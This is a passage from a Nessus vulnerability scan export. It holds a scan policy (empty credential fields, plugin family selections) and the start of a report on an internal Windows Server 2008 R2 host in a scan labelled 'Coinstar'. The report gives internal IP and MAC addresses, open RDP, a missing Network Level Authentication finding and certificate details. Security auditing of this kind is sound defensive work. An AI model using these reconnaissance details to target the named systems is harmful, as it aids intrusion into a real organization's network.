2146 <selectedValue></selectedValue>
2147 </item>
2148 <item><pluginName>ADSI Settings</pluginName>
2149 <pluginId>60024</pluginId>
2150 <fullName>ADSI Settings[entry]:Domain Controller 5:</fullName>
2151 <preferenceName>Domain Controller 5:</preferenceName>
2152 <preferenceType>entry</preferenceType>
2153 <preferenceValues></preferenceValues>
2154 <selectedValue></selectedValue>
2155 </item>
2156 <item><pluginName>ADSI Settings</pluginName>
2157 <pluginId>60024</pluginId>
2158 <fullName>ADSI Settings[entry]:Domain 5:</fullName>
2159 <preferenceName>Domain 5:</preferenceName>
2160 <preferenceType>entry</preferenceType>
2161 <preferenceValues></preferenceValues>
2162 <selectedValue></selectedValue>
2163 </item>
2164 <item><pluginName>ADSI Settings</pluginName>
2165 <pluginId>60024</pluginId>
2166 <fullName>ADSI Settings[entry]:Domain Username 5:</fullName>
2167 <preferenceName>Domain Username 5:</preferenceName>
2168 <preferenceType>entry</preferenceType>
2169 <preferenceValues></preferenceValues>
2170 <selectedValue></selectedValue>
2171 </item>
2172 <item><pluginName>ADSI Settings</pluginName>
2173 <pluginId>60024</pluginId>
2174 <fullName>ADSI Settings[password]:Domain Password 5:</fullName>
2175 <preferenceName>Domain Password 5:</preferenceName>
2176 <preferenceType>password</preferenceType>
2177 <preferenceValues></preferenceValues>
2178 <selectedValue></selectedValue>
2179 </item>
2180 <item><pluginName>Hydra: PostgreSQL</pluginName>
2181 <pluginId>18660</pluginId>
2182 <fullName>Hydra: PostgreSQL[entry]:Database name (optional) :</fullName>
2183 <preferenceName>Database name (optional) :</preferenceName>
2184 <preferenceType>entry</preferenceType>
2185 <preferenceValues></preferenceValues>
2186 <selectedValue></selectedValue>
2187 </item>
2188 <item><pluginName>Hydra: Cisco enable</pluginName>
2189 <pluginId>15870</pluginId>
2190 <fullName>Hydra: Cisco enable[entry]:Logon password :</fullName>
2191 <preferenceName>Logon password :</preferenceName>
2192 <preferenceType>entry</preferenceType>
2193 <preferenceValues></preferenceValues>
2194 <selectedValue></selectedValue>
2195 </item>
2196 <item><pluginName>Database settings</pluginName>
2197 <pluginId>33815</pluginId>
2198 <fullName>Database settings[entry]:Login :</fullName>
2199 <preferenceName>Login :</preferenceName>
2200 <preferenceType>entry</preferenceType>
2201 <preferenceValues></preferenceValues>
2202 <selectedValue></selectedValue>
2203 </item>
2204 <item><pluginName>Database settings</pluginName>
2205 <pluginId>33815</pluginId>
2206 <fullName>Database settings[password]:Password :</fullName>
2207 <preferenceName>Password :</preferenceName>
2208 <preferenceType>password</preferenceType>
2209 <preferenceValues></preferenceValues>
2210 <selectedValue></selectedValue>
2211 </item>
2212 <item><pluginName>Database settings</pluginName>
2213 <pluginId>33815</pluginId>
2214 <fullName>Database settings[radio]:DB Type :</fullName>
2215 <preferenceName>DB Type :</preferenceName>
2216 <preferenceType>radio</preferenceType>
2217 <preferenceValues>Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL</preferenceValues>
2218 <selectedValue>Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL</selectedValue>
2219 </item>
2220 <item><pluginName>Database settings</pluginName>
2221 <pluginId>33815</pluginId>
2222 <fullName>Database settings[entry]:Database SID :</fullName>
2223 <preferenceName>Database SID :</preferenceName>
2224 <preferenceType>entry</preferenceType>
2225 <preferenceValues></preferenceValues>
2226 <selectedValue></selectedValue>
2227 </item>
2228 <item><pluginName>Database settings</pluginName>
2229 <pluginId>33815</pluginId>
2230 <fullName>Database settings[entry]:Database port to use :</fullName>
2231 <preferenceName>Database port to use :</preferenceName>
2232 <preferenceType>entry</preferenceType>
2233 <preferenceValues></preferenceValues>
2234 <selectedValue></selectedValue>
2235 </item>
2236 <item><pluginName>Database settings</pluginName>
2237 <pluginId>33815</pluginId>
2238 <fullName>Database settings[radio]:Oracle auth type:</fullName>
2239 <preferenceName>Oracle auth type:</preferenceName>
2240 <preferenceType>radio</preferenceType>
2241 <preferenceValues>NORMAL;SYSOPER;SYSDBA</preferenceValues>
2242 <selectedValue>NORMAL;SYSOPER;SYSDBA</selectedValue>
2243 </item>
2244 <item><pluginName>Database settings</pluginName>
2245 <pluginId>33815</pluginId>
2246 <fullName>Database settings[radio]:SQL Server auth type:</fullName>
2247 <preferenceName>SQL Server auth type:</preferenceName>
2248 <preferenceType>radio</preferenceType>
2249 <preferenceValues>Windows;SQL</preferenceValues>
2250 <selectedValue>Windows;SQL</selectedValue>
2251 </item>
2252 <item><pluginName>Service Detection</pluginName>
2253 <pluginId>22964</pluginId>
2254 <fullName>Service Detection[radio]:Test SSL based services</fullName>
2255 <preferenceName>Test SSL based services</preferenceName>
2256 <preferenceType>radio</preferenceType>
2257 <preferenceValues>Known SSL ports;All;None</preferenceValues>
2258 <selectedValue>Known SSL ports;All;None</selectedValue>
2259 </item>
2260 <item><pluginName>Kerberos configuration</pluginName>
2261 <pluginId>17351</pluginId>
2262 <fullName>Kerberos configuration[entry]:Kerberos Key Distribution Center (KDC) :</fullName>
2263 <preferenceName>Kerberos Key Distribution Center (KDC) :</preferenceName>
2264 <preferenceType>entry</preferenceType>
2265 <preferenceValues></preferenceValues>
2266 <selectedValue></selectedValue>
2267 </item>
2268 <item><pluginName>Kerberos configuration</pluginName>
2269 <pluginId>17351</pluginId>
2270 <fullName>Kerberos configuration[entry]:Kerberos KDC Port :</fullName>
2271 <preferenceName>Kerberos KDC Port :</preferenceName>
2272 <preferenceType>entry</preferenceType>
2273 <preferenceValues>88</preferenceValues>
2274 <selectedValue>88</selectedValue>
2275 </item>
2276 <item><pluginName>Kerberos configuration</pluginName>
2277 <pluginId>17351</pluginId>
2278 <fullName>Kerberos configuration[radio]:Kerberos KDC Transport :</fullName>
2279 <preferenceName>Kerberos KDC Transport :</preferenceName>
2280 <preferenceType>radio</preferenceType>
2281 <preferenceValues>udp;tcp</preferenceValues>
2282 <selectedValue>udp;tcp</selectedValue>
2283 </item>
2284 <item><pluginName>Kerberos configuration</pluginName>
2285 <pluginId>17351</pluginId>
2286 <fullName>Kerberos configuration[entry]:Kerberos Realm (SSH only) :</fullName>
2287 <preferenceName>Kerberos Realm (SSH only) :</preferenceName>
2288 <preferenceType>entry</preferenceType>
2289 <preferenceValues></preferenceValues>
2290 <selectedValue></selectedValue>
2291 </item>
2292 <item><pluginName>Malicious Process Detection</pluginName>
2293 <pluginId>59275</pluginId>
2294 <fullName>Malicious Process Detection[file]:Additional MD5 hashes (optional) :</fullName>
2295 <preferenceName>Additional MD5 hashes (optional) :</preferenceName>
2296 <preferenceType>file</preferenceType>
2297 <preferenceValues></preferenceValues>
2298 <selectedValue></selectedValue>
2299 </item>
2300 <item><pluginName>Patch Management: WSUS Server Settings</pluginName>
2301 <pluginId>57031</pluginId>
2302 <fullName>Patch Management: WSUS Server Settings[entry]:WSUS Server :</fullName>
2303 <preferenceName>WSUS Server :</preferenceName>
2304 <preferenceType>entry</preferenceType>
2305 <preferenceValues></preferenceValues>
2306 <selectedValue></selectedValue>
2307 </item>
2308 <item><pluginName>Patch Management: WSUS Server Settings</pluginName>
2309 <pluginId>57031</pluginId>
2310 <fullName>Patch Management: WSUS Server Settings[entry]:WSUS Port :</fullName>
2311 <preferenceName>WSUS Port :</preferenceName>
2312 <preferenceType>entry</preferenceType>
2313 <preferenceValues></preferenceValues>
2314 <selectedValue></selectedValue>
2315 </item>
2316 <item><pluginName>Patch Management: WSUS Server Settings</pluginName>
2317 <pluginId>57031</pluginId>
2318 <fullName>Patch Management: WSUS Server Settings[entry]:WSUS Username :</fullName>
2319 <preferenceName>WSUS Username :</preferenceName>
2320 <preferenceType>entry</preferenceType>
2321 <preferenceValues></preferenceValues>
2322 <selectedValue></selectedValue>
2323 </item>
2324 <item><pluginName>Patch Management: WSUS Server Settings</pluginName>
2325 <pluginId>57031</pluginId>
2326 <fullName>Patch Management: WSUS Server Settings[password]:WSUS Password :</fullName>
2327 <preferenceName>WSUS Password :</preferenceName>
2328 <preferenceType>password</preferenceType>
2329 <preferenceValues></preferenceValues>
2330 <selectedValue></selectedValue>
2331 </item>
2332 <item><pluginName>Patch Management: WSUS Server Settings</pluginName>
2333 <pluginId>57031</pluginId>
2334 <fullName>Patch Management: WSUS Server Settings[checkbox]:SSL :</fullName>
2335 <preferenceName>SSL :</preferenceName>
2336 <preferenceType>checkbox</preferenceType>
2337 <preferenceValues>no</preferenceValues>
2338 <selectedValue>no</selectedValue>
2339 </item>
2340 <item><pluginName>Patch Management: WSUS Server Settings</pluginName>
2341 <pluginId>57031</pluginId>
2342 <fullName>Patch Management: WSUS Server Settings[checkbox]:Verify SSL Certificate :</fullName>
2343 <preferenceName>Verify SSL Certificate :</preferenceName>
2344 <preferenceType>checkbox</preferenceType>
2345 <preferenceValues>no</preferenceValues>
2346 <selectedValue>no</selectedValue>
2347 </item>
2348 <item><pluginName>Nessus SYN scanner</pluginName>
2349 <pluginId>11219</pluginId>
2350 <fullName>Nessus SYN scanner[radio]:Firewall detection :</fullName>
2351 <preferenceName>Firewall detection :</preferenceName>
2352 <preferenceType>radio</preferenceType>
2353 <preferenceValues>Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive)</preferenceValues>
2354 <selectedValue>Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive)</selectedValue>
2355 </item>
2356 <item><pluginName>SMTP settings</pluginName>
2357 <pluginId>11038</pluginId>
2358 <fullName>SMTP settings[entry]:Third party domain :</fullName>
2359 <preferenceName>Third party domain :</preferenceName>
2360 <preferenceType>entry</preferenceType>
2361 <preferenceValues>example.com</preferenceValues>
2362 <selectedValue>example.com</selectedValue>
2363 </item>
2364 <item><pluginName>SMTP settings</pluginName>
2365 <pluginId>11038</pluginId>
2366 <fullName>SMTP settings[entry]:From address :</fullName>
2367 <preferenceName>From address :</preferenceName>
2368 <preferenceType>entry</preferenceType>
2369 <preferenceValues>[email protected]</preferenceValues>
2370 <selectedValue>[email protected]</selectedValue>
2371 </item>
2372 <item><pluginName>SMTP settings</pluginName>
2373 <pluginId>11038</pluginId>
2374 <fullName>SMTP settings[entry]:To address :</fullName>
2375 <preferenceName>To address :</preferenceName>
2376 <preferenceType>entry</preferenceType>
2377 <preferenceValues>postmaster@[AUTO_REPLACED_IP]</preferenceValues>
2378 <selectedValue>postmaster@[AUTO_REPLACED_IP]</selectedValue>
2379 </item>
2380 <item><pluginName>SMB Use Host SID to Enumerate Local Users</pluginName>
2381 <pluginId>10860</pluginId>
2382 <fullName>SMB Use Host SID to Enumerate Local Users[entry]:Start UID :</fullName>
2383 <preferenceName>Start UID :</preferenceName>
2384 <preferenceType>entry</preferenceType>
2385 <preferenceValues>1000</preferenceValues>
2386 <selectedValue>1000</selectedValue>
2387 </item>
2388 <item><pluginName>SMB Use Host SID to Enumerate Local Users</pluginName>
2389 <pluginId>10860</pluginId>
2390 <fullName>SMB Use Host SID to Enumerate Local Users[entry]:End UID :</fullName>
2391 <preferenceName>End UID :</preferenceName>
2392 <preferenceType>entry</preferenceType>
2393 <preferenceValues>1200</preferenceValues>
2394 <selectedValue>1200</selectedValue>
2395 </item>
2396 <item><pluginName>Web mirroring</pluginName>
2397 <pluginId>10662</pluginId>
2398 <fullName>Web mirroring[entry]:Number of pages to mirror :</fullName>
2399 <preferenceName>Number of pages to mirror :</preferenceName>
2400 <preferenceType>entry</preferenceType>
2401 <preferenceValues>1000</preferenceValues>
2402 <selectedValue>1000</selectedValue>
2403 </item>
2404 <item><pluginName>Web mirroring</pluginName>
2405 <pluginId>10662</pluginId>
2406 <fullName>Web mirroring[entry]:Maximum depth :</fullName>
2407 <preferenceName>Maximum depth :</preferenceName>
2408 <preferenceType>entry</preferenceType>
2409 <preferenceValues>6</preferenceValues>
2410 <selectedValue>6</selectedValue>
2411 </item>
2412 <item><pluginName>Web mirroring</pluginName>
2413 <pluginId>10662</pluginId>
2414 <fullName>Web mirroring[entry]:Start page :</fullName>
2415 <preferenceName>Start page :</preferenceName>
2416 <preferenceType>entry</preferenceType>
2417 <preferenceValues>/</preferenceValues>
2418 <selectedValue>/</selectedValue>
2419 </item>
2420 <item><pluginName>Web mirroring</pluginName>
2421 <pluginId>10662</pluginId>
2422 <fullName>Web mirroring[entry]:Excluded items regex :</fullName>
2423 <preferenceName>Excluded items regex :</preferenceName>
2424 <preferenceType>entry</preferenceType>
2425 <preferenceValues>/server_privileges\.php|logout</preferenceValues>
2426 <selectedValue>/server_privileges\.php|logout</selectedValue>
2427 </item>
2428 <item><pluginName>Web mirroring</pluginName>
2429 <pluginId>10662</pluginId>
2430 <fullName>Web mirroring[checkbox]:Follow dynamic pages :</fullName>
2431 <preferenceName>Follow dynamic pages :</preferenceName>
2432 <preferenceType>checkbox</preferenceType>
2433 <preferenceValues>no</preferenceValues>
2434 <selectedValue>no</selectedValue>
2435 </item>
2436 </PluginsPreferences>
2437 </Preferences>
2438 <FamilySelection><FamilyItem><FamilyName>MacOS X Local Security Checks</FamilyName>
2439 <Status>enabled</Status>
2440 </FamilyItem>
2441 <FamilyItem><FamilyName>DNS</FamilyName>
2442 <Status>enabled</Status>
2443 </FamilyItem>
2444 <FamilyItem><FamilyName>Gain a shell remotely</FamilyName>
2445 <Status>enabled</Status>
2446 </FamilyItem>
2447 <FamilyItem><FamilyName>Solaris Local Security Checks</FamilyName>
2448 <Status>enabled</Status>
2449 </FamilyItem>
2450 <FamilyItem><FamilyName>Port scanners</FamilyName>
2451 <Status>mixed</Status>
2452 </FamilyItem>
2453 <FamilyItem><FamilyName>Web Servers</FamilyName>
2454 <Status>enabled</Status>
2455 </FamilyItem>
2456 <FamilyItem><FamilyName>SMTP problems</FamilyName>
2457 <Status>enabled</Status>
2458 </FamilyItem>
2459 <FamilyItem><FamilyName>Service detection</FamilyName>
2460 <Status>enabled</Status>
2461 </FamilyItem>
2462 <FamilyItem><FamilyName>CGI abuses : XSS</FamilyName>
2463 <Status>enabled</Status>
2464 </FamilyItem>
2465 <FamilyItem><FamilyName>Debian Local Security Checks</FamilyName>
2466 <Status>enabled</Status>
2467 </FamilyItem>
2468 <FamilyItem><FamilyName>Databases</FamilyName>
2469 <Status>enabled</Status>
2470 </FamilyItem>
2471 <FamilyItem><FamilyName>Mandriva Local Security Checks</FamilyName>
2472 <Status>enabled</Status>
2473 </FamilyItem>
2474 <FamilyItem><FamilyName>Default Unix Accounts</FamilyName>
2475 <Status>enabled</Status>
2476 </FamilyItem>
2477 <FamilyItem><FamilyName>Denial of Service</FamilyName>
2478 <Status>enabled</Status>
2479 </FamilyItem>
2480 <FamilyItem><FamilyName>Settings</FamilyName>
2481 <Status>enabled</Status>
2482 </FamilyItem>
2483 <FamilyItem><FamilyName>Backdoors</FamilyName>
2484 <Status>enabled</Status>
2485 </FamilyItem>
2486 <FamilyItem><FamilyName>HP-UX Local Security Checks</FamilyName>
2487 <Status>enabled</Status>
2488 </FamilyItem>
2489 <FamilyItem><FamilyName>VMware ESX Local Security Checks</FamilyName>
2490 <Status>enabled</Status>
2491 </FamilyItem>
2492 <FamilyItem><FamilyName>SCADA</FamilyName>
2493 <Status>enabled</Status>
2494 </FamilyItem>
2495 <FamilyItem><FamilyName>General</FamilyName>
2496 <Status>enabled</Status>
2497 </FamilyItem>
2498 <FamilyItem><FamilyName>Red Hat Local Security Checks</FamilyName>
2499 <Status>enabled</Status>
2500 </FamilyItem>
2501 <FamilyItem><FamilyName>FreeBSD Local Security Checks</FamilyName>
2502 <Status>enabled</Status>
2503 </FamilyItem>
2504 <FamilyItem><FamilyName>CGI abuses</FamilyName>
2505 <Status>enabled</Status>
2506 </FamilyItem>
2507 <FamilyItem><FamilyName>Netware</FamilyName>
2508 <Status>enabled</Status>
2509 </FamilyItem>
2510 <FamilyItem><FamilyName>Windows : User management</FamilyName>
2511 <Status>enabled</Status>
2512 </FamilyItem>
2513 <FamilyItem><FamilyName>Peer-To-Peer File Sharing</FamilyName>
2514 <Status>enabled</Status>
2515 </FamilyItem>
2516 <FamilyItem><FamilyName>Slackware Local Security Checks</FamilyName>
2517 <Status>enabled</Status>
2518 </FamilyItem>
2519 <FamilyItem><FamilyName>SNMP</FamilyName>
2520 <Status>enabled</Status>
2521 </FamilyItem>
2522 <FamilyItem><FamilyName>Gentoo Local Security Checks</FamilyName>
2523 <Status>enabled</Status>
2524 </FamilyItem>
2525 <FamilyItem><FamilyName>Fedora Local Security Checks</FamilyName>
2526 <Status>enabled</Status>
2527 </FamilyItem>
2528 <FamilyItem><FamilyName>Misc.</FamilyName>
2529 <Status>enabled</Status>
2530 </FamilyItem>
2531 <FamilyItem><FamilyName>Ubuntu Local Security Checks</FamilyName>
2532 <Status>enabled</Status>
2533 </FamilyItem>
2534 <FamilyItem><FamilyName>FTP</FamilyName>
2535 <Status>enabled</Status>
2536 </FamilyItem>
2537 <FamilyItem><FamilyName>Firewalls</FamilyName>
2538 <Status>enabled</Status>
2539 </FamilyItem>
2540 <FamilyItem><FamilyName>Windows : Microsoft Bulletins</FamilyName>
2541 <Status>enabled</Status>
2542 </FamilyItem>
2543 <FamilyItem><FamilyName>SuSE Local Security Checks</FamilyName>
2544 <Status>enabled</Status>
2545 </FamilyItem>
2546 <FamilyItem><FamilyName>Policy Compliance</FamilyName>
2547 <Status>enabled</Status>
2548 </FamilyItem>
2549 <FamilyItem><FamilyName>Windows</FamilyName>
2550 <Status>enabled</Status>
2551 </FamilyItem>
2552 <FamilyItem><FamilyName>RPC</FamilyName>
2553 <Status>enabled</Status>
2554 </FamilyItem>
2555 <FamilyItem><FamilyName>Finger abuses</FamilyName>
2556 <Status>enabled</Status>
2557 </FamilyItem>
2558 <FamilyItem><FamilyName>CentOS Local Security Checks</FamilyName>
2559 <Status>enabled</Status>
2560 </FamilyItem>
2561 <FamilyItem><FamilyName>AIX Local Security Checks</FamilyName>
2562 <Status>enabled</Status>
2563 </FamilyItem>
2564 <FamilyItem><FamilyName>CISCO</FamilyName>
2565 <Status>enabled</Status>
2566 </FamilyItem>
2567 <FamilyItem><FamilyName>Junos Local Security Checks</FamilyName>
2568 <Status>enabled</Status>
2569 </FamilyItem>
2570 <FamilyItem><FamilyName>Mobile Devices</FamilyName>
2571 <Status>enabled</Status>
2572 </FamilyItem>
2573 <FamilyItem><FamilyName>Scientific Linux Local Security Checks</FamilyName>
2574 <Status>enabled</Status>
2575 </FamilyItem>
2576 <FamilyItem><FamilyName>Brute force attacks</FamilyName>
2577 <Status>enabled</Status>
2578 </FamilyItem>
2579 </FamilySelection>
2580 <IndividualPluginSelection><PluginItem><PluginId>34220</PluginId>
2581 <PluginName>Netstat Portscanner (WMI)</PluginName>
2582 <Family>Port scanners</Family>
2583 <Status>enabled</Status>
2584 </PluginItem>
2585 <PluginItem><PluginId>14274</PluginId>
2586 <PluginName>Nessus SNMP Scanner</PluginName>
2587 <Family>Port scanners</Family>
2588 <Status>enabled</Status>
2589 </PluginItem>
2590 <PluginItem><PluginId>14272</PluginId>
2591 <PluginName>netstat portscanner (SSH)</PluginName>
2592 <Family>Port scanners</Family>
2593 <Status>enabled</Status>
2594 </PluginItem>
2595 <PluginItem><PluginId>10180</PluginId>
2596 <PluginName>Ping the remote host</PluginName>
2597 <Family>Port scanners</Family>
2598 <Status>enabled</Status>
2599 </PluginItem>
2600 <PluginItem><PluginId>11219</PluginId>
2601 <PluginName>Nessus SYN scanner</PluginName>
2602 <Family>Port scanners</Family>
2603 <Status>enabled</Status>
2604 </PluginItem>
2605 </IndividualPluginSelection>
2606 </Policy>
2607 <Report name="2459_Coinstar" xmlns:cm="http://www.nessus.org/cm">
2608 <ReportHost name="qa3app09"><HostProperties>
2609 <tag name="HOST_END">Mon Jul 1 11:40:48 2013</tag>
2610 <tag name="patch-summary-total-cves">1</tag>
2611 <tag name="system-type">general-purpose</tag>
2612 <tag name="operating-system">Microsoft Windows Server 2008 R2 Standard Service Pack 1</tag>
2613 <tag name="mac-address">00:50:56:81:01:e3</tag>
2614 <tag name="traceroute-hop-1">10.31.112.29</tag>
2615 <tag name="traceroute-hop-0">172.16.138.2</tag>
2616 <tag name="host-ip">10.31.112.29</tag>
2617 <tag name="host-fqdn">qa3app09</tag>
2618 <tag name="netbios-name">QA3APP09</tag>
2619 <tag name="HOST_START">Mon Jul 1 11:33:11 2013</tag>
2620 </HostProperties>
2621 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="19506" pluginName="Nessus Scan Information" pluginFamily="Settings">
2622 <description>This script displays, for each tested host, information about the scan itself :
2623
2624 - The version of the plugin set
2625 - The type of plugin feed (HomeFeed or ProfessionalFeed)
2626 - The version of the Nessus Engine
2627 - The port scanner(s) used
2628 - The port range scanned
2629 - Whether credentialed or third-party patch management checks are possible
2630 - The date of the scan
2631 - The duration of the scan
2632 - The number of hosts scanned in parallel
2633 - The number of checks done in parallel</description>
2634 <fname>scan_info.nasl</fname>
2635 <plugin_modification_date>2013/05/31</plugin_modification_date>
2636 <plugin_name>Nessus Scan Information</plugin_name>
2637 <plugin_publication_date>2005/08/26</plugin_publication_date>
2638 <plugin_type>summary</plugin_type>
2639 <risk_factor>None</risk_factor>
2640 <script_version>$Revision: 1.59 $</script_version>
2641 <solution>n/a</solution>
2642 <synopsis>Information about the Nessus scan.</synopsis>
2643 <plugin_output>Information about this scan :
2644
2645 Nessus version : 5.2.1
2646 Plugin feed version : 201306260615
2647 Type of plugin feed : HomeFeed (Non-commercial use only)
2648 Scanner IP : 172.16.138.174
2649 Port scanner(s) : nessus_syn_scanner
2650 Port range : default
2651 Thorough tests : no
2652 Experimental tests : no
2653 Paranoia level : 1
2654 Report Verbosity : 1
2655 Safe checks : yes
2656 Optimize the test : yes
2657 Credentialed checks : no
2658 Patch management checks : None
2659 CGI scanning : disabled
2660 Web application tests : disabled
2661 Max hosts : 80
2662 Max checks : 5
2663 Recv timeout : 5
2664 Backports : None
2665 Allow post-scan editing: Yes
2666 Scan Start Date : 2013/7/1 11:33
2667 Scan duration : 453 sec
2668 </plugin_output>
2669 </ReportItem>
2670 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="10919" pluginName="Open Port Re-check" pluginFamily="General">
2671 <description>One of several ports that were previously open are now closed or unresponsive.
2672
2673 There are several possible reasons for this :
2674
2675 - The scan may have caused a service to freeze or stop running.
2676
2677 - An administrator may have stopped a particular service during the scanning process.
2678
2679 This might be an availability problem related to the following :
2680
2681 - A network outage has been experienced during the scan, and the remote network cannot be reached anymore by the scanner.
2682
2683 - This scanner may has been blacklisted by the system administrator or by an automatic intrusion detection / prevention system that detected the scan.
2684
2685 - The remote host is now down, either because a user turned it off during the scan or because a select denial of service was effective.
2686
2687 In any case, the audit of the remote host might be incomplete and may need to be done again</description>
2688 <fname>check_ports.nasl</fname>
2689 <plugin_modification_date>2013/05/14</plugin_modification_date>
2690 <plugin_name>Open Port Re-check</plugin_name>
2691 <plugin_publication_date>2002/03/19</plugin_publication_date>
2692 <plugin_type>remote</plugin_type>
2693 <risk_factor>None</risk_factor>
2694 <script_version>$Revision: 1.41 $</script_version>
2695 <solution>- Increase checks_read_timeout and/or reduce max_checks
2696
2697 - Disable any IPS during the Nessus scan</solution>
2698 <synopsis>Previously open ports are now closed.</synopsis>
2699 <plugin_output>Port 135 was detected as being open but is now unresponsive
2700 Port 3389 was detected as being open but is now unresponsive
2701 Port 80 was detected as being open but is now unresponsive
2702 </plugin_output>
2703 </ReportItem>
2704 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="58453" pluginName="Terminal Services Doesn&apos;t Use Network Level Authentication (NLA)" pluginFamily="Misc.">
2705 <cpe>cpe:/o:microsoft:windows
2706 cpe:/a:microsoft:remote_desktop_protocol</cpe>
2707 <cvss_base_score>4.3</cvss_base_score>
2708 <cvss_vector>CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N</cvss_vector>
2709 <description>The remote Terminal Services is not configured to use Network Level Authentication (NLA). NLA uses the Credential Security Support Provider (CredSSP) protocol to perform strong server authentication either through TLS/SSL or Kerberos mechanisms, which protect against man-in-the-middle attacks. In addition to improving authentication, NLA also helps protect the remote computer from malicious users and software by completing user authentication before a full RDP connection is established.</description>
2710 <fname>rdp_credssp_detect.nbin</fname>
2711 <plugin_modification_date>2013/04/22</plugin_modification_date>
2712 <plugin_name>Terminal Services Doesn&apos;t Use Network Level Authentication (NLA)</plugin_name>
2713 <plugin_publication_date>2012/03/23</plugin_publication_date>
2714 <plugin_type>remote</plugin_type>
2715 <risk_factor>Medium</risk_factor>
2716 <script_version>$Revision: 1.9 $</script_version>
2717 <see_also>http://technet.microsoft.com/en-us/library/cc732713.aspx
2718 http://www.nessus.org/u?e2628096</see_also>
2719 <solution>Enable Network Level Authentication (NLA) on the remote RDP server. This is generally done on the &apos;Remote&apos; tab of the &apos;System&apos; settings on Windows.</solution>
2720 <synopsis>The remote Terminal Services doesn&apos;t use Network Level Authentication.</synopsis>
2721 </ReportItem>
2722 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="54615" pluginName="Device Type" pluginFamily="General">
2723 <description>Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).</description>
2724 <fname>device_type.nasl</fname>
2725 <plugin_modification_date>2011/05/23</plugin_modification_date>
2726 <plugin_name>Device Type</plugin_name>
2727 <plugin_publication_date>2011/05/23</plugin_publication_date>
2728 <plugin_type>combined</plugin_type>
2729 <risk_factor>None</risk_factor>
2730 <script_version>$Revision: 1.1 $</script_version>
2731 <solution>n/a</solution>
2732 <synopsis>It is possible to guess the remote device type.</synopsis>
2733 <plugin_output>Remote device type : general-purpose
2734 Confidence level : 99
2735 </plugin_output>
2736 </ReportItem>
2737 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="45590" pluginName="Common Platform Enumeration (CPE)" pluginFamily="General">
2738 <description>By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.
2739
2740 Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.</description>
2741 <fname>cpe.nbin</fname>
2742 <plugin_modification_date>2013/05/13</plugin_modification_date>
2743 <plugin_name>Common Platform Enumeration (CPE)</plugin_name>
2744 <plugin_publication_date>2010/04/21</plugin_publication_date>
2745 <plugin_type>local</plugin_type>
2746 <risk_factor>None</risk_factor>
2747 <script_version>$Revision: 1.19 $</script_version>
2748 <see_also>http://cpe.mitre.org/</see_also>
2749 <solution>n/a</solution>
2750 <synopsis>It is possible to enumerate CPE names that matched on the remote system.</synopsis>
2751 <plugin_output>
2752 The remote operating system matched the following CPE :
2753
2754 cpe:/o:microsoft:windows_server_2008:r2:sp1 -&gt; Microsoft Windows Server 2008 R2 Service Pack 1
2755
2756 Following application CPE matched on the remote system :
2757
2758 cpe:/a:microsoft:iis:7.5 -&gt; Microsoft Internet Information Services (IIS) 7.5
2759 </plugin_output>
2760 </ReportItem>
2761 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="64814" pluginName="Terminal Services Use SSL/TLS" pluginFamily="Misc.">
2762 <cpe>cpe:/o:microsoft:windows
2763 cpe:/a:microsoft:remote_desktop_protocol</cpe>
2764 <description>The remote Terminal Services is configured to use SSL/TLS.</description>
2765 <fname>rdp_ssl.nasl</fname>
2766 <plugin_modification_date>2013/02/25</plugin_modification_date>
2767 <plugin_name>Terminal Services Use SSL/TLS</plugin_name>
2768 <plugin_publication_date>2013/02/22</plugin_publication_date>
2769 <plugin_type>remote</plugin_type>
2770 <risk_factor>None</risk_factor>
2771 <script_version>$Revision: 1.2 $</script_version>
2772 <solution>n/a</solution>
2773 <synopsis>The remote Terminal Services use SSL/TLS.</synopsis>
2774 <plugin_output>Subject Name:
2775
2776 Common Name: QA3APP09.RB.local
2777
2778 Issuer Name:
2779
2780 Common Name: QA3APP09.RB.local
2781
2782 Serial Number: 6F 1D C2 73 BE DE 2D 99 40 54 BB FA 2E DC 6C DE
2783
2784 Version: 3
2785
2786 Signature Algorithm: SHA-1 With RSA Encryption
2787
2788 Not Valid Before: Mar 09 00:17:42 2013 GMT
2789 Not Valid After: Sep 08 00:17:42 2013 GMT
2790
2791 Public Key Info:
2792
2793 Algorithm: RSA Encryption
2794 Key Length: 2048 bits
2795 Public Key: 00 B6 9C C3 03 8B 53 08 79 C5 6C 71 AF 1B 73 88 76 9F F1 0C
2796 20 79 49 D1 54 56 A1 CF 59 91 76 86 85 97 EB E1 91 33 5F 9A
2797 7E DA 7A 63 53 56 C7 F0 EC 0A FC 4B 85 62 D5 4D 78 BD 49 4F
2798 56 0E 69 A4 8F F7 D3 79 6D 16 6A 3E A4 4E 63 E9 38 CB 96 AF
2799 7E 03 4F A3 60 BB EA B7 24 28 94 9D DE 61 E7 AC 95 57 58 8E
2800 D7 08 CB 6D EF 56 60 2A A2 52 75 B8 31 A9 10 CA 87 C5 BD D7
2801 8C 2E 31 1D BE 39 F6 9B F4 68 65 B9 7F A8 4A 20 0A 63 D9 1A
2802 05 56 19 55 E1 EA 77 9F 56 F4 7D 59 2C 94 AC 75 2C 73 57 79
2803 A6 7D 2F FA 82 51 2C 01 1A 46 6B DA 73 24 57 6C 43 DF FE A6
2804 30 E0 56 26 CD 7E 9F C0 04 55 1C 24 7A A2 7C 52 C1 48 EE 71
2805 3F 1F 12 23 4F 23 4B 09 6D 2E 6B DE 51 21 02 AB 87 E6 E6 47
2806 43 BC 81 B6 4D F0 C7 17 9A F0 0D 1D E1 28 C4 8A 29 0F D6 48
2807 9F AC B7 B0 CF C6 4D BD CC 41 56 8A DD A3 5E 12 9F
2808 Exponent: 01 00 01
2809
2810 Signature Length: 256 bytes / 2048 bits
